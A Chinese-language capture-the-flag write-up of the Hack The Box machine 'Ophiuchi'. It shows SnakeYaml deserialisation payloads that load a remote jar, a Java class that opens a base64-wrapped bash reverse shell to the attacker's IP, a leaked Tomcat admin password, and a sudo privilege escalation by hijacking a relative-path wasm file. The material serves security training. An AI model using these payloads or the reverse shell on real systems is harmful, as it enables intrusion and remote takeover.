Ophiuchi Writeup

概述 (Overview)

image

HOST:10.10.10.227 时间: 2021-08-09 机器作者: felamos 困难程度: Medium MACHINE TAGS: * Web * Java * Deserialisation * Golang * Source Code Review

攻击链 (Kiillchain)

通过使用 Nmap 枚举出目标服务的暴露端口,对运行在 8080 端口上的 Web 服务进行 Fuzzing 得到错误堆栈,从堆栈信息中确定使用的 SnakeYaml 存在反序列化 RCE 漏洞,使用该漏洞成功获得在目标服务器上的立足点。

在 tomcat 配置文件中找到了 admin 用户的口令,随后进行 SSH 登录。对 SUDO 允许执行的 GO 脚本进行代码审计,最终构造可触发权限提升的 .wasm 文件。

枚举(Enumeration)

老规矩,依然是在 Kali 上通过 Nmap 进行起手,对目标服务器开放端口进行枚举:

$ nmap -p- -sT -sC -T4 --min-rate 500 --reason -oA Ports -v 10.10.10.227 PORT STATE SERVICE REASON 22/tcp open ssh syn-ack | ssh-hostkey: | 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA) | 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA) |_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519) 8080/tcp open http-proxy syn-ack | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Parse YAML Read data files from: /usr/bin/../share/nmap # Nmap done at Mon Aug 9 21:21:32 2021 -- 1 IP address (1 host up) scanned in 137.59 seconds

通过上述扫描结果可以知道目标服务器仅暴露了两个端口(22、8080),暂时不知道运行在那种服务器上,不过概率是 Linux 系统。

Port 8080 - Parse YAML

通过浏览器访问 8080 端口,发现它运行着一个 Web 服务器,结合 title 和页面内容发现该服务是用于解析 YAML 语言的。

image

但是当我们提交内容时,HTTP 将会返回如下内容(该功能出于安全考虑已经停用):

Due to security reason this feature has been temporarily on hold. We will soon fix the issue!

YAML 是专门用来写配置文件的语言,比如我们常见的 .yml 后缀名结尾的文件。

YAML 的语法和其他高级语言类似,并且可以简单表达清单、散列表,标量等数据形态。它使用空白符号缩进和大量依赖外观的特色,特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲。 – 菜鸟教程

结合该语言的格式,生成了一些特殊字符进行提交,尝试 Fuzzing 一下看看是否存在异常:

image

返回的结果和预期的一致,从错误格式和 debug 堆栈信息可以推断出当前服务是 Java 程序。 仔细观察堆栈,使用的解析 YAML 语言的服务叫 org.yaml.snakeyaml

立足点(Foothold)

结合上述信息并在 Google 中进行搜索,成功找到了对目标服务器进行 RCE 的攻击实例:

SnakeYaml 反序列化漏洞 - https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/

漏洞的产生原因是由于解析了不受信任的 YAML 数据(`!!`做为特殊功能出现,该语法允许在解析 YAML 数据时调用任何 Java 类的构造函数,即 (!!<java 类构造函数>)),从而引起的任意代码执行。

提交 payload 进行漏洞验证:

!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://10.10.16.3/"] ]] ]

image

OK,验证后漏洞是存在的,目标服务器请求了我本地起的 Web 服务。并且我注意到它会自动加载 /META-INF/services/javax.script.ScriptEngineFactory 进行序列化。

顺着这个思路找个漏洞利用文章,构造对目标服务器的 RCE 链:

https://pulsesecurity.co.nz/advisories/Insecure-YAML-Deserialisation

下载 https://github.com/artsploit/yaml-payload 库,随后修改 AwesomeScriptEngineFactory.java 文件内容:

package artsploit; import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.IOException; import java.util.List; import java.util.Base64; import java.util.concurrent.TimeUnit; public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() { try { //Runtime.getRuntime().exec("digscriptengine.x.artsploit.com"); //Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator"); String cmd = "bash -i >& /dev/tcp/10.10.16.3/9900 0>&1"; // <-- your actual command here String b64Cmd = Base64.getEncoder().encodeToString(cmd.getBytes()); cmd = "bash -c {echo,"+b64Cmd+"}|{base64,-d}|{bash,-i}"; // *nix only Runtime.getRuntime() .exec(cmd) .waitFor(30, TimeUnit.SECONDS); //increase this probably } catch (Exception e) { e.printStackTrace(); } } ... snip ...

随后要利用到 Javac 进行二进制编译、打包构建。没有 Java 的话需要自行安装一下:

$ apt install default-jdk

image

构建完成后需要启动 web 服务器,随后发送新的 Payload 拿到立足点。

!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://10.10.16.3/yaml-payload.jar"] ]] ]

image

横向移动(Lateral Movement)

在寻找 User Flag 时遇到权限问题,当前的 shell 身份是 tomcat,而 Flag 在 admin 用户下可见:

$ ls -la /home/admin -r-------- 1 admin admin 33 Aug 9 13:08 user.txt ... snip ...

所以我们需要进行横向移动,在使用 find 搜索 tomcat 用户可访问的内容时,发现 tomcat 的配置文件 /opt/tomcat/conf/tomcat-users.xml 是有权限进行访问的。在里面成功找到 admin 用户的口令。

<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>

随后使用该口令成功已 admin 用户进行登录:

image

权限提升(Privilege Escalation)

在查看 admin 用户下的 SUDO 目前可执行的指令时,发现可以使用 root 身份运行 go 去执行 index.go 文件:

admin@ophiuchi:~$ sudo -l Matching Defaults entries for admin on ophiuchi: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User admin may run the following commands on ophiuchi: (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

查看 /opt/wasm-functions/index.go 文件代码:

package main import ( "fmt" wasm "github.com/wasmerio/wasmer-go/wasmer" "os/exec" "log" ) func main() { bytes, _ := wasm.ReadBytes("main.wasm") instance, _ := wasm.NewInstance(bytes) defer instance.Close() init := instance.Exports["info"] result,_ := init() f := result.String() if (f != "1") { fmt.Println("Not ready to deploy") } else { fmt.Println("Ready to deploy") out, err := exec.Command("/bin/sh", "deploy.sh").Output() if err != nil { log.Fatal(err) } fmt.Println(string(out)) } }

首先注意到代码中加载了 os.exec,而这个库常用于做命令执行,所以在做代码审计的时候要首先找这种高危的函数及库。通过阅读代码,在 12 行的时候加载了一个外部的 main.wasm 文件。

Wasmer 是一个用于在服务器上执行 WebAssembly 的开源运行时。支持基于 WebAssembly 的超轻量级容器,该容器可以在任何地方运行,还可以嵌入其他编程语言

所以,整段代码的运行逻辑是:

  • 以字节形式读取 WebAssembly 模块(main.wasm)
  • 实例化 WebAssembly 模块
  • 从 WebAssembly 实例获取 info 函数
  • 函数内容不存在则输出提示字符串
  • 函数存在则通过 exec 库执行 “/bin/sh” 运行 “deploy.sh”,打印脚本运行结果。
    进入对应文件目录,首先查看文件夹内文件权限,main.wasm 与 deploy.sh 均是当前用户无法编辑的。好消息是脚本中并没有写绝对路径,那么我们只需要在执行 sudo 语句的文件夹内创建这两个文件,按照 shell 执行的优先级,会先找当前路径下同名文件。
admin@ophiuchi:/opt/wasm-functions$ find . -ls 1057188 4 drwxr-xr-x 3 root root 4096 Oct 14 2020 . 1322036 2460 -rwxr-xr-x 1 root root 2516736 Oct 14 2020 ./index 1321998 4 -rw-rw-r-- 1 root root 522 Oct 14 2020 ./index.go 1057205 4 -rw-r--r-- 1 root root 88 Oct 14 2020 ./deploy.sh 1322001 1448 -rwxrwxr-x 1 root root 1479371 Oct 14 2020 ./main.wasm 1057190 4 drwxr-xr-x 2 root root 4096 Oct 14 2020 ./backup 1057210 4 -rw-r--r-- 1 root root 522 Oct 14 2020 ./backup/index.go 1057206 4 -rw-r--r-- 1 root root 88 Oct 14 2020 ./backup/deploy.sh 1057211 1448 -rwxr-xr-x 1 root root 1479371 Oct 14 2020 ./backup/main.wasm

简单测试下是否可以进行 Hijacking:

image

image

可以看到,当我在 /tmp 目录下执行后代码退出在 17 行,说明对 main.wasm 的 Hijacking 是成功的。

接着开始找原因,参考下图文章内容进行利用:

将 WebAssembly 文本格式转换为 wasm - https://developer.mozilla.org/zh-CN/docs/WebAssembly/Text_format_to_wasm

image

使用 https://github.com/WebAssembly/wabt 库,最终构建有效的 main.wasm 文件。

期间需要安装 apt install wabt 命令,使用该命令可以将 main.wasm 传为 .wat 文件方便我们阅读:

$ wasm2wat /opt/wasm-functions/main.wasm -o main.wat $ cat main.wat (module (type (;0;) (func (result i32))) (func $info (type 0) (result i32) i32.const 0) (table (;0;) 1 1 funcref) (memory (;0;) 16) (global (;0;) (mut i32) (i32.const 1048576)) (global (;1;) i32 (i32.const 1048576)) (global (;2;) i32 (i32.const 1048576)) (export "memory" (memory 0)) (export "info" (func $info)) (export "__data_end" (global 1)) (export "__heap_base" (global 2)))

从中可以看到第 6 行中,i32.const 后没是 0 ,我们只需要将其改为 1 后重新生成即可。

...snip... (func $info (type 0) (result i32) i32.const 1) ...snip... $ wat2wasm main.wat -o main2.wasm $ cp main2.wasm /tmp/main.wasm

而我的 deploy.sh 内容也很简单,就是将 /root/root.txt 文件拷贝到 /tmp 文件夹。

image

当然,你也可以改写成权限提升命令。

参考

  • https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858
  • https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf?utm_source=dlvr.it&utm_medium=twitter
  • https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。